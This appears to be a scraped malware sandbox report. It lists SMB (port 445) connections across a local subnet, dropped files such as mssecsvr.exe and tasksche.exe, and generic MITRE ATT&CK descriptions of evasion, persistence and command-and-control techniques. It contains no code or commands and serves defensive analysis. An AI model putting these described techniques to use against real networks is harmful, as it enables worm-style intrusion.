Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.175:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.176:445	Jump to behavior

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 48O5lgRp91

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\WINDOWS\qeriuwjhrf (copy)

C:\Windows\eee.exe

C:\Windows\mssecsvr.exe

C:\Windows\tasksche.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
48O5lgRp91

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre